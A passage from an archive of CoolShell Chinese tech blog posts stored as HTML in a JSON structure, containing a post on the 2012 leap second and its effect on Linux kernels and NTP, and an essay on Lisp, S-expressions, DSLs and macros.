height=\"150\" src=\"../wp-content/uploads/2012/08/220px-KnnClassification.svg_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8052.html\">K Nearest Neighbor 算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17225.html\"><img alt=\"Cuckoo Filter：设计与实现\" height=\"150\" src=\"../wp-content/uploads/2015/08/cuckoo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17225.html\">Cuckoo Filter：设计与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11832.html\"><img alt=\"【活动】解迷题送礼物\" height=\"150\" src=\"../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11832.html\">【活动】解迷题送礼物</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10590.html\"><img alt=\"二维码的生成细节和原理\" height=\"150\" src=\"../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10590.html\">二维码的生成细节和原理</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7779.html\">K-Means 算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-6-30 关于闰秒.html",
    "content": "<html><body><p>2012年6月30日，也就今天晚上，时间会多出现一秒，也就是我们所说的闰秒。我不知道大家对闰秒的了解有多少，所以写下这篇文章。</p>\n<h4>背景知识</h4>\n<p>闰秒是在在<a href=\"http://en.wikipedia.org/wiki/Coordinated_Universal_Time\" target=\"_blank\">UTC</a>（中文“世界标准时间”或“世界协调时间<strong>”</strong>／英文“<strong>C</strong>oordinated <strong>U</strong>niversal <strong>T</strong>ime”／法文“<strong>T</strong>emps <strong>U</strong>niversel <strong>C</strong>ordonné”）是基于<a href=\"http://en.wikipedia.org/wiki/Atomic_clock\" target=\"_blank\">Atomic Clock</a>（原子时钟）的一种时间，向太阳时（<a href=\"http://en.wikipedia.org/wiki/Mean_solar_day\" title=\"Mean solar day\">Solar Time </a>）对齐的一种方法，因为太阳时是根据地球公转来计算的。所以，1972年制定的UTC为了确保其时间相对于UTC的时间误差不能超过0.9秒，因此在过一段时间后需要加一秒。下图是有UTC以来闰秒的调整表（来自<a href=\"http://zh.wikipedia.org/wiki/%E9%97%B0%E7%A7%92\" target=\"_blank\">Wikipedia闰秒的中文词条</a>）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7805\" height=\"383\" src=\"../wp-content/uploads/2012/06/闰秒.png\" title=\"闰秒\" width=\"433\"/></p>\n<p><span id=\"more-7804\"></span></p>\n<p>从上表中我们可以看到，从1972年到现在，在这四十年里已经进行过25次的闰秒调整。闰秒是在每年6月或12月的最后一天的最后一分钟进行跳秒或不跳秒。是否加入闰秒由位于巴黎的国际地球自转和参考坐标系统服务（IERS – <a href=\"http://en.wikipedia.org/wiki/International_Earth_Rotation_and_Reference_Systems_Service\" title=\"International Earth Rotation and Reference Systems Service\">International Earth Rotation and Reference Systems Service</a>）决定。如果决定加入闰秒，那么这一秒是被加在第二天的00:00:00前的，也就是说，时间会出现23:59:60的情况，然后才是第二天的00:00:00。如果是负闰秒的话，23:59:58的下一秒就直接跳到第二天的00:00:00了。<strong>现在，所有闰秒都是正闰秒</strong>。</p>\n<h4>计算机处理闰秒</h4>\n<p>那么，对于我们的电脑系统来说，怎么处理这个闰秒呢？一般来说，我们需要为我们的电脑系统配置UTC时钟，并通过NTP (<a href=\"http://en.wikipedia.org/wiki/Network_time_protocol\" title=\"Network time protocol\">Network time protocol</a>)来进行时间同步，NTP服务器会一级一级地下发闰秒事件通知直到最边缘的NTP服务器，然后NTP服务器就会把闰秒通知发给客户端的操作系统，由操作系统来处理闰秒通知。</p>\n<p>虽然闰秒调整对普通民众的日常生活不会产生影响。不过，<strong>这个问题将影响部分开启ntp服务的Linux操作系统——会导致Linux内核Crash！</strong>Linux kernel是在2.6.18-164.e15之后的版本中解决了这个问题。<span style=\"color: #cc0000;\">换句话说，Linux kernel低于<strong>2.6.18-164</strong>的Linux系统，无论是什么公司的Linux都将受到影响</span>。（今晚过后大家可以查看一下你的Linux系统日志，看看闰秒有没有发生）</p>\n<p>可以参看下面的bug描述：</p>\n<ul>\n<li><a href=\"https://lkml.org/lkml/2009/1/2/373\" target=\"_blank\">LKML: Chris Adams: Re: Bug: Status/Summary of slashdot leap-second crash on new years 2008-2009</a></li>\n<li><a href=\"https://bugzilla.redhat.com/show_bug.cgi?id=479765\" target=\"_blank\">Bug 479765 – Leap second message can hang the kernel</a></li>\n</ul>\n<p>那么，我们的操作系统是怎么处理正闰秒通知的？通常来说有三种实现：</p>\n<ol>\n<li>后退一秒。</li>\n<li>停止一秒。</li>\n<li>真正的增加一秒。</li>\n</ol>\n<p>懂编程的人一眼就能看出来，前两种方式是以一种Workaround或Hack的方式解决这个问题。第一种方式会导致一些基于timestamp的消息通知乱序了，而第二种会导致出现两个一模一样的timestamp。最后一种不会出现timestamp的问题。对了，你还记得以前那篇《<a href=\"https://coolshell.cn/articles/5075.html\" rel=\"bookmark\">你确信你了解时间吗？</a>》的文章吗？</p>\n<p>最后，说说Windows，Windows  Time Service不支持闰秒通知，所以，当闰秒发生的时候，你的Windows上的时间会比实际时间快一秒钟，这需要等下一次的时钟同步才会完成修正。你可以查看这篇文章：<a href=\"http://support.microsoft.com/kb/909614/en-us\">http://support.microsoft.com/kb/909614/en-us</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7804.html\">关于闰秒</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-6-4 Lisp的永恒之道.html",
    "content": "<html><body><p>【<span style=\"color: #cc0000;\">感谢 Todd投递本文 – 微博帐号：</span><a href=\"http://weibo.com/weidagang\" target=\"_blank\" title=\"weidagang\">weidagang</a> 】</p>\n<h4>Lisp之魅</h4>\n<p>长久以来，Lisp一直被许多人视为史上最非凡的编程语言。它不仅在50多年前诞生的时候带来了诸多革命性的创新并极大地影响了后来编程语言的发展，即使在一大批现代语言不断涌现的今天，Lisp的诸多特性仍然未被超越。当各式各样的编程语言摆在面前，我们可以从运行效率、学习曲线、社区活跃度、厂商支持等多种不同的角度进行评判和选择，但我特别看中的一点在于语言能否有效地表达编程者的设计思想。学习C意味着学习如何用过程来表达设计思想，学习Java意味着学习如何用对象来表达设计思想，而虽然Lisp与函数式编程有很大的关系，但学习Lisp绝不仅仅是学习如何用函数表达设计思想。实际上，<strong>函数式编程并非Lisp的本质</strong>，在已经掌握了lambda、高阶函数、闭包、惰性求值等函数式编程概念之后，学习Lisp仍然大大加深了我对编程的理解。<strong>学习Lisp所收获的是如何“自由地”表达你的思想</strong>，这正是Lisp最大的魅力所在，也是这门古老的语言仍然具有很强的生命力的根本原因。</p>\n<h4>Lisp之源</h4>\n<p>Lisp意为表处理(List Processing)，源自设计者John McCarthy于1960年发表的一篇论文《符号表达式的递归函数及其机器计算》。McCarthy在这篇论文中向我们展示了用一种简单的数据结构S表达式(S-expression)来表示代码和数据，并在此基础上构建一种完整的语言。Lisp语言形式简单、内涵深刻，Paul Graham在《Lisp之根源》中将其对编程的贡献与欧几里德对几何的贡献相提并论。</p>\n<h4>Lisp之形</h4>\n<p>然而，与数学世界中简单易懂的欧氏几何形成鲜明对比，程序世界中的Lisp却一直是一种古老而又神秘的存在，真正理解其精妙的人还是少数。从表面上看，Lisp最明显的特征是它“古怪”的S表达式语法。S表达式是一个原子(atom)，或者若干S表达式组成的列表(list)，表达式之间用空格分开，放入一对括号中。“列表“这个术语可能会容易让人联想到数据结构中的链表之类的线形结构，实际上，Lisp的列表是一种可嵌套的树形结构。下面是一些S表达式的例子:</p>\n<pre class=\"EnlighterJSRAW\">\nfoo\n\n()\n\n(a b (c d) e)\n\n(+ (* 2 3) 5)\n\n(defun factorial (N)\n    (if (= N 1)\n        1\n        (* N (factorial (- N 1)))\n    )\n)\n</pre>\n<p><span id=\"more-7526\"></span></p>\n<p>据说，这个古怪的S表达式是McCarthy在发明Lisp时候所采用的一种临时语法，他实际上是准备为Lisp加上一种被称为M表达式(M-expression)的语法，然后再把M表达式编译为S表达式。用一个通俗的类比，S表达式相当于是JVM的字节码，而M表达式相当于Java语言，但是后来Lisp的使用者都熟悉并喜欢上了直接用S表达式编写程序，并且他们发现S表达式有许多独特的优点，所以M表达式的引入也就被无限期延迟了。</p>\n<p>许多Lisp的入门文章都比较强调Lisp的函数式特性，而我认为这是一种误导。真正的Lisp之门不在函数式编程，而在S表达式本身，Lisp最大的奥秘就藏在S表达式后面。S表达式是Lisp的语法基础，语法是语义的载体，形式是实质的寄托。<strong>“S表达式”是程序的一种形，正如“七言”是诗的一种形，“微博”是信息的一种形</strong>。正是形的不同，让微博与博客有了质的差异，同样的道理，正是S表达式让Lisp与C、Java、SQL等语言有了天壤之别。</p>\n<h4>Lisp之道</h4>\n<p>一门语言能否有效地表达编程者的设计思想取决于其抽象机制的语义表达能力。根据抽象机制的不同，语言的抽象机制形成了面向过程、面向对象、函数式、并发式等不同的范式。当你采用某一种语言，基本上就表示你已经“面向XXX“了，你的思维方式和解决问题的手段就会依赖于语言所提供的抽象方式。比如，采用Java语言通常意味着采用面向对象分析设计；采用Erlang通常意味着按Actor模型对并发任务进行建模。</p>\n<p>有经验的程序员都知道，无论是面向XXX编程，程序设计都有一条“抽象原则“：What与How解耦。但是，<strong>普通语言的问题就在于表达What的手段非常有限</strong>，无非是过程、类、接口、函数等几种方式，而诸多领域问题是无法直接抽象为函数或接口的。比如，你完全可以在C语言中定义若干函数来做到make file所做的事情，但C代码很难像make file那样声明式地体现出target、depends等语义，它们只会作为实现细节被淹没在一个个的C函数之中。采用OOP或是FP等其它范式也会遇到同样的困难，也就是说make file语言所代表的抽象维度与面向过程、OOP以及FP的抽象维度是正交的，使得各种范式无法直接表达出make file的语义。这就是普通语言的“刚性”特征，它要求我们必须以语言的抽象维度去分析和解决问题，把问题映射到语言的基本语法和语义。</p>\n<p>更进一步，如果仔细探究这种刚性的根源，我们会发现正是由于普通语言<strong>语法和语义的紧耦合</strong>造成了这种刚性。比如，C语言中printf(“hello %s”, name)符合函数调用语法，它表达了函数调用语义，除此之外别无他义；Java中interface IRunnable { … }符合接口定义语法，它表达了接口定义语义，除此之外别无他义。如果你认为“语法和语义紧耦合“是理所当然的，看不出这有什么问题，那么理解Lisp就会让你对此产生更深的认识。</p>\n<p>当你看到Lisp的(f a (b c))的时候，你会想到什么？会不会马上联想到函数求值或是宏扩展？就像在C语言里看到gcd(10, 15)马上想到函数调用，或者在Java里看到class A马上想到类定义一样。如果真是这样，那它就是你理解Lisp的一道障碍，因为你已经习惯了顺着语言去思考，总是在想这一句话机器怎么解释执行？那一句话又对应语言的哪个特性？理解Lisp要反过来，让语言顺着你，Lisp的(f a (b c))可以是任何语义，完全由你来定，它可以是函数定义、类定义、数据库查询、文件依赖关系，异步任务的执行关系，业务规则 …</p>\n<p>下面我准备先通过几个具体的例子逐步展示Lisp的本质。需要说明的是，由于Lisp的S表达式和XML的语法形式都是一种树形结构，在语义表达方面二者并无本质的差别。所以，为了理解方便，下面我暂且用多数人更为熟悉的XML来写代码，请记住我们可以很轻易地把XML代码和Lisp代码相互转换。</p>\n<p>首先，我们可以轻易地用XML来定义一个求两个数最大公约数的函数：</p>\n<pre class=\"EnlighterJSRAW\">\n    &lt;func name='gcd' return_type='int'&gt;\n        &lt;params&gt;\n            &lt;a type='int'/&gt;\n            &lt;b type='int'/&gt;\n        &lt;/params&gt;\n        &lt;body&gt;\n            &lt;if&gt;\n               &lt;equals&gt;\n                   &lt;a/&gt;\n                   &lt;int&gt;0&lt;/int&gt;\n               &lt;/equals&gt;\n            &lt;/if&gt;\n            &lt;then&gt;\n                &lt;return&gt;&lt;b/&gt;&lt;/return&gt;\n            &lt;/then&gt;\n            &lt;else&gt;\n                &lt;return&gt;\n                    &lt;gcd&gt;\n                        &lt;modulo&gt;&lt;b/&gt;&lt;a/&gt;&lt;/modulo&gt;\n                        &lt;a/&gt;\n                    &lt;/gcd&gt;\n                &lt;/return&gt;\n            &lt;/else&gt;\n        &lt;/body&gt;\n    &lt;/func&gt;\n</pre>\n<p>其次，我们可以用它来定义类：</p>\n<pre class=\"EnlighterJSRAW\">\n    &lt;class name=\"Computer\"&gt;\n        &lt;field access=\"private\" type=\"MainBoard\" name=\"main-board\" /&gt;\n        &lt;field access=\"private\" type=\"CPU\" name=\"cpu\" /&gt;\n        &lt;field access=\"private\" type=\"Memory\" name=\"memory\" /&gt;\n\n        &lt;method access=\"public\" return_type=\"boolean\" name=\"powerOn\" /&gt;\n            &lt;params&gt;...&lt;/params&gt;\n            &lt;body&gt;...&lt;/body&gt;\n        &lt;/method&gt;\n\n        &lt;method access=\"public\" return_type=\"boolean\" name=\"powerOff\" /&gt;\n            &lt;params&gt;...&lt;/params&gt;\n            &lt;body&gt;...&lt;/body&gt;\n        &lt;/method&gt;\n    &lt;/class&gt;\n</pre>\n<p>还可以轻易地用它来编写关系查询：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;sql&gt;\n    &lt;select&gt;\n        &lt;column name=\"employees.id\" /&gt;\n        &lt;column name=\"bonus.amount\" /&gt;\n    &lt;/select&gt;\n    &lt;from&gt;\n        &lt;table name=\"employees\" /&gt;\n        &lt;table name=\"bonus\" /&gt;\n    &lt;/from&gt;\n    &lt;where&gt;\n        &lt;equals&gt;\n            &lt;column name=\"employees.id\" /&gt;\n            &lt;column name=\"bonus.employee_id\" /&gt;\n        &lt;/equals&gt;\n    &lt;/where&gt;\n&lt;/sql&gt;\n</pre>\n<p>还可以用它来实现类似make file的自动化构建(语法取自ant)：</p>\n<pre class=\"EnlighterJSRAW\">\n    &lt;project name=\"MyProject\" default=\"dist\" basedir=\".\"&gt;\n        &lt;property name=\"src\" location=\"src\"/&gt;\n        &lt;property name=\"build\" location=\"build\"/&gt;\n        &lt;property name=\"dist\"  location=\"dist\"/&gt;\n\n        &lt;target name=\"init\"&gt;\n            &lt;mkdir dir=\"${build}\"/&gt;\n        &lt;/target&gt;\n\n        &lt;target name=\"compile\" depends=\"init\" description=\"compile the source \" &gt;\n            &lt;javac srcdir=\"${src}\" destdir=\"${build}\"/&gt;\n        &lt;/target&gt;\n\n        &lt;target name=\"dist\" depends=\"compile\" description=\"generate the distribution\" &gt;\n            &lt;mkdir dir=\"${dist}/lib\"/&gt;\n            &lt;jar jarfile=\"${dist}/lib/MyProject-${DSTAMP}.jar\" basedir=\"${build}\"/&gt;\n        &lt;/target&gt;\n\n        &lt;target name=\"clean\" description=\"clean up\" &gt;\n            &lt;delete dir=\"${build}\"/&gt;\n            &lt;delete dir=\"${dist}\"/&gt;\n        &lt;/target&gt;\n    &lt;/project&gt;\n</pre>\n<p>一口气举了这么多个例子，目的在于用XML这种树形结构来说明Lisp的S表达式所能够描述的语义。不知道你是否发现了S表达式和XML这种树形语法在语义构造方面有着特别的“柔性”？我们可以轻易地用它构造出函数、变量、条件判断语义；类、属性、方法语义；可以轻易地构造出关系模型的select、where语义；可以轻易地构造出make的target、depends语义，等等数不清的语义。在普通语言里，你可以定义一个函数、一个类，但你无法为C语言增加匿名函数特性，也没法给Java语言加上RAII语义，甚至连自己创造一个foreach循环都不行，而自定义语义意味着在Lisp之上<strong>你创造了一门语言</strong>！不管是面向过程，面向对象，函数式，还是关系模型，在Lisp里统统都变成了一种DSL，而Lisp本身也就成了一种定义语言的语言，即元语言(Meta Language)。</p>\n<p>Lisp的柔性与S表达式有着密切的关系。Lisp并不限制你用S表达式来表达什么语义，同样的S表达式语法可以表达各种不同领域的语义，这就是<strong>语法和语义解耦</strong>。如果说普通语言的刚性源于“语法和语义紧耦合”，那么Lisp的柔性正是源于“语法和语义解耦”！“语法和语义解耦”使得Lisp可以随意地构造各种领域的DSL，而不强制用某一种范式或是领域视角去分析和解决问题。本质上，Lisp编程是一种超越了普通编程范式的范式，这就是<strong>Lisp之道：面向语言编程(LOP, Language Oriented Programming)</strong>。Wikipedia上是这样描述LOP的：</p>\n<blockquote><p>Language oriented programming (LOP) is a style of computer programming in which, rather than solving problems in general-purpose programming languages, the programmer creates one or more domain-specific languages for the problem first, and solves the problem in those languages … The concept of Language Oriented Programming takes the approach to capture requirements in the user’s terms, and then to try to create an implementation language as isomorphic as possible to the user’s descriptions, so that the mapping between requirements and implementation is as direct as possible.</p></blockquote>\n<p>LOP范式的基本思想是从问题出发，先创建一门描述领域模型的DSL，再用DSL去解决问题，它具有高度的声明性和抽象性。SQL、make file、CSS等DSL都可以被认为是LOP的具体实例，下面我们再通过两个常见的例子来理解LOP的优势。</p>\n<p>例1：在股票交易系统中，交易协议定义若干二进制的消息格式，交易所和客户端需要对消息进行编码和解码。</p>\n<p>消息格式是一种抽象的规范，本身不对语言做任何的限制，你可以用C，C++，Java，或者Python。普通的实现方式是按照消息格式规范，在相应的语言中定义消息结构，并编写相应的编解码函数。假设为一个消息定义结构和实现编解码函数的工作量为M，不同消息类型的数量为N，这种方式的工作量大致为M*N。也就是说每增加一种消息类型，就需要为该消息定义结构，实现编解码函数，引入bug的可能性当然也和M*N成正比。如果仔细观察不难发现，各个消息结构其实是高度类似的，编解码函数也大同小异，但是普通语言却找不到一种抽象机制能表达这种共性，比如，我们无法通过面向对象的方法定义一个基类把消息结构的共性抽象出来，然后让具体的消息去继承它，达到复用的目的。这正是由于普通语言的抽象维度限制所致，在普通语言中，你只能从函数、接口等维度对事物进行抽象，而恰好消息格式共性所在的维度与这些抽象维度并不匹配。</p>\n<p>其实，不同消息类型的<strong>共性在于它们都具有相同的领域语义</strong>，比如：“某字段内容是另一个字段内容的md5码”就是一种消息格式的领域语义，这种领域语义是OOP的抽象机制无法描述的。LOP的思路是先创建一门消息定义DSL，比如，类似Google的Protocol Buffer，Android的AIDL。然后，通过DSL编写消息定义文件，直接声明式地描述消息的结构特征，比如，我们可以声明式地描述“某字段内容是另一个字段内容的md5码”。我们还需要为DSL开发编译器用于生成C、Java等通用语言的消息定义和编解码函数。</p>\n<p>有了消息定义DSL和编译器之后，由于DSL编写消息定义是一种高度声明式的编程方法，每增加一种消息的只需要多编写一个消息定义文件而已，工作量几乎可以忽略不计。所有的工作量都集中在编译器的开发上，工作量是一个常数C，与消息的数量没有关系；质量保证方面也只需要关注编译器这一点，不会因为增加新的消息类型而引入bug。</p>\n<p>例2：在图书管理系统中，需要支持在管理界面上对书籍、学生、班级等各种实体进行管理操作。</p>\n<p>如果按传统的三层架构，一般需要在后端程序中为每一种实体定义一个类，并定义相应的方法实现CRUD操作，与之相应的，还需要在前端页面中为每一个实体编写相应的管理页面。这些实体类的CRUD操作都是大同小异的，但细节又各不相同，虽然我们很想复用某些共同的设计实现，但OOP所提供的封装、继承、多态等抽象机制不足以有效捕获实体之间的共性，大量的代码还是必须放在子类中来完成。比如，Student和Book实体类的实现非常相似，但是如果要通过OOP的方式去抽象它们的共性，得出的结果多半是Entity这样的大而空的基类，很难起到复用的效果。</p>\n<p>其实，不同实体之间的共性还是在于它们具有相同的领域语义，比如：实体具有属性，属性具有类型，属性具有取值范围，属性具有可读取、可编辑等访问属性，实体之间有关联关系等。LOP方法正是直接面向这种领域语义的。采用LOP方法，我们并不需要为每一个实体类单独编写CRUD方法，也不需要单独编写管理页面，只需要定义一种DSL并实现其编译器；然后，用DSL声明式地编写实体描述文件，去描述实体的属性列表，属性的类型、取值范围，属性所支持的操作，属性之间的关系和约束条件等；最后，通过这个实体描述文件自动生成后端的实体类和前端管理页面。采用LOP，不论前后端采用何种技术，Java也好，C#也好，JSP也好，ASP.NET也好，都可以自动生成它们的代码。采用LOP的工作量和质量都集中在DSL的设计和编译器的开发，与实体的数量无关，也就是说，越是庞大的系统，实体类越多越是能体现LOP的优势。</p>\n<p>通过上面两个小例子我们可以感受到，LOP是一种面向领域的，高度声明式的编程方式，它的抽象维度与领域模型的维度完全一致。LOP能让程序员从复杂的实现细节中解脱出来，把关注点集中在问题的本质上，从而提高编程的效率和质量。</p>\n<p>接下来的问题是如果需要为某领域设计DSL，我们是应该发明一门类似SQL这样的专用DSL呢，还是用XML或S表达式去定义DSL呢？它们各有何优缺点呢？</p>\n<p>我认为采用XML或S表达式定义DSL的优点主要有：1) SQL、make file、CSS等专用DSL都只能面向各自的领域，而一个实际的领域问题通常是跨越多个领域的，有时我们需要将不同领域融合在一起，但是由于普通语言的刚性，多语言融合通常会是一件非常困难的事情，而XML和S表达式语法结构的单一性和“代码及数据”的特点使得跨领域融合毫无障碍。2) 在为DSL开发编译器或解释器的方面，二者难度不同。对XML和S表达式定义的DSL进行语法分析非常简单，相比之下，对SQL这样的专用DSL进行语法分析，虽然可以借助Lex、Yacc、ANTLR等代码生成工具，但总的来讲复杂度还是要明显高一些。</p>\n<p>当然，XML和S表达式的优点也正好是其缺点，由于XML和S表达式的语法形式是固定的，不能像专用DSL那样自由地设计语法。所以，一般来讲专用DSL的语法显得更加简洁。换句话说，XML和Lisp其实是在语法和语义间做了一个交换，用语法的限制换来了语义的灵活。</p>\n<h4>Lisp之器</h4>\n<p>接下来我们继续探讨DSL的解释执行问题。DSL代码的解释执行一般分为3种典型的方式：1) 通过专门的解释器解释执行；2) 编译生成其他语言的代码，再通过其他语言的解释器解释执行(或编译运行)；3) 自解释。比如，第1类的代表是SQL，上一节举的两个例子都属于第2类，而第3类自解释正是Lisp的特色。</p>\n<p>为了理解自解释，我们可以先从内部DSL的解释执行说起。内部DSL是指嵌入在宿主语言中的DSL，比如，Google Test单元测试框架定义了一套基于流畅接口(Fluent Interface)的C++单元测试DSL。从语义构造的角度看，内部DSL直接借用宿主语言的语法定义了自己的领域语义，是一种语法和语义解耦；从解释执行的角度看，内部DSL是随宿主语言的解释器而自动解释的，不需要像外部DSL一样开发专门的解释器，因而实现的代价很低。当然，并不是说设计内部DSL不用关心任何的解释实现，实际上，还是需要熟悉宿主语言的特性，并利用该特性使得DSL能随着宿主语言的解释器得到解释执行。</p>\n<p>Lisp拥有强大的自解释特性，这得益于独一无二的<strong>Lisp之器：宏 (macro)</strong>。宏使得Lisp编写的DSL可以被Lisp解释器直接解释执行，这在原理上与内部DSL是相通的，只是内部DSL一般是利用宿主语言的链式调用等特性，通常形式简陋，功能有限，而Lisp的宏则要强大和灵活得多。</p>\n<p>C语言中也有宏的概念，不过Lisp的宏与C语言的宏完全不同，C语言的宏是简单的字符串替换。比如，下面的宏定义：</p>\n<pre class=\"EnlighterJSRAW\">\n#define square(x) (x*x)\n</pre>\n<p>square(1+1)的期望结果是4，而实际上它会被替换成(1+1*1+1)，结果是3。这个例子说明，C语言的宏只在预编译阶段进行简单的字符串替换，对程序语法结构缺乏理解，非常脆弱。Lisp的宏不是简单的字符串替换，而是一套完整的代码生成系统，它是在语法解析的基础上把Lisp代码从一种形式转换为另一种形式，本质上起到了普通语言编译器的作用。不同的是，普通编译器是把一种语言的代码转换为另一种语言的代码，比如，Java编译器把Java代码转换成Java字节码；而Lisp宏的输入和输出都是S表达式，它本质上是把一种DSL转换为另一种DSL。下面的例子是宏的一个典型用法。</p>\n<p>例3：假设Lisp解释器已经具备解释执行面向过程DSL的能力，需要实现类似ant的自动化构建工具。</p>\n<p>我们可以基于宏构建一门类ant的DSL，宏的作用是把类ant DSL通过宏展开变成面向过程的DSL，最后被Lisp解释器所解释执行。这样用Lisp编写的ant DSL就不需要被编译为其他语言，也不需要像XML的ant一样依赖于专门的解释器了。</p>\n<p>当然，和开发专门的解释器/编译器相比，Lisp的宏也并非没有缺点，宏难以理解，开发和调试更加困难。到底是开发专门的解释器/编译器还是直接采用宏应该视具体情况而定。</p>\n<h4>总结</h4>\n<p>Lisp采用单一的S表达式语法表达不同的语义，实现了语法和语义解耦。这使得Lisp具有强大的语义构造能力，擅长于构造DSL实现面向语言编程，而宏使得Lisp具有自解释能力，让不同DSL之间的转换游刃有余。进入Lisp的世界应当从理解面向语言编程入门，这是Lisp之道，而函数式编程和宏皆为Lisp之器，以道驭器方为正途。</p>\n<h4>后记</h4>\n<p>本文是我学习Lisp的一个总结，也是写给有兴趣学习Lisp的程序员的入门资料。必须说明，我还是一个标准的Lisp初学者，几乎没有写过像样的Lisp程序，文中的错误和不足在所难免，希望读者批评指正，感谢！</p>\n<h4>参考</h4>\n<p><a href=\"http://www.paulgraham.com/rootsoflisp.html\">The Roots of Lisp</a></p>\n<p><a href=\"http://www.defmacro.org/ramblings/lisp.html\">The Nature of Lisp</a></p>\n<p><a href=\"http://lists.warhead.org.uk/pipermail/iwe/2005-July/000130.html\">Why Lisp macros are cool, a Perl perspective</a></p>\n<p><a href=\"http://en.wikipedia.org/wiki/Language-oriented_programming\">Wikipedia: Language-oriented programming</a></p>\n<p><a href=\"http://book.douban.com/subject/6859720/\">《实用Common Lisp编程》</a></p>\n<p><a href=\"http://book.douban.com/subject/4031906/\">《冒号课堂 – 编程范式与OOP思想》</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 